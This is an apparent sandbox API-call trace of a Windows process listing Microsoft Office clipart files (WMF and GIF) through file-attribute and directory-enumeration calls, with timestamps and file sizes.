	[0051.691] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af4a8 | out: lpFileInformation=0x123af4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b20100, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b20100, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x4f72)) returned 1
	[0051.691] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af4f8 | out: lpFileInformation=0x123af4f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f74)) returned 1
	[0051.691] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af548 | out: lpFileInformation=0x123af548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e5c)) returned 1
	[0051.692] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af598 | out: lpFileInformation=0x123af598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3642)) returned 1
	[0051.692] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af5e8 | out: lpFileInformation=0x123af5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf553ff00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf553ff00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x476e)) returned 1
	[0051.692] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af638 | out: lpFileInformation=0x123af638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7c6d00, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f7c6d00, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0xd8e0)) returned 1
	[0051.693] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af688 | out: lpFileInformation=0x123af688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba531a00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba531a00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x10cb8)) returned 1
	[0051.693] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af6d8 | out: lpFileInformation=0x123af6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d82d600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d82d600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7a04)) returned 1
	[0051.694] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af728 | out: lpFileInformation=0x123af728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b207c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b207c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xee4a)) returned 1
	[0051.694] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af778 | out: lpFileInformation=0x123af778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0e04300, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0e04300, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x8b96)) returned 1
	[0051.694] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af7c8 | out: lpFileInformation=0x123af7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb844700, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb844700, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0xbbe0)) returned 1
	[0051.694] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af818 | out: lpFileInformation=0x123af818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb844700, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb844700, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x934c)) returned 1
	[0051.695] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af868 | out: lpFileInformation=0x123af868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30533400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30533400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1948)) returned 1
	[0051.695] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af8b8 | out: lpFileInformation=0x123af8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31846100, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31846100, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x51ea)) returned 1
	[0051.695] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af908 | out: lpFileInformation=0x123af908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3308)) returned 1
	[0051.695] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af958 | out: lpFileInformation=0x123af958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b58e00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32b58e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x27f4)) returned 1
	[0051.696] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af9a8 | out: lpFileInformation=0x123af9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27894f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27894f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0xb7c)) returned 1
	[0051.696] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123af9f8 | out: lpFileInformation=0x123af9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c49b00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22c49b00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x828)) returned 1
	[0051.696] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123afa48 | out: lpFileInformation=0x123afa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e57d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59e57d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x704e)) returned 1
	[0051.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.759] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.759] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.759] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 1
	[0051.759] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0051.760] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0051.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.760] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.761] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.761] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1
	[0051.761] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ed3400, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4ed3400, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1
	[0051.761] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac144200, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac144200, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143745.GIF", cAlternateFileName="")) returned 1
	[0051.761] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a08600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77a08600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x595, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143746.GIF", cAlternateFileName="")) returned 1
	[0051.761] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4cbfb00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4cbfb00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x11d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143748.GIF", cAlternateFileName="")) returned 1
	[0051.761] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ef75300, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ef75300, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1323, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143749.GIF", cAlternateFileName="")) returned 1
	[0051.761] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1896c00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1896c00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143750.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9313100, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9313100, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143752.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fe9600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fe9600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1b7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143753.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf30900, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbf30900, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143754.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8b07a00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8b07a00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x69f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143758.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x124a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00516L.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2017, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00531L.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x20ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00673L.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00703L.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2313, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00760L.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00780L.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01741L.GIF", cAlternateFileName="")) returned 1
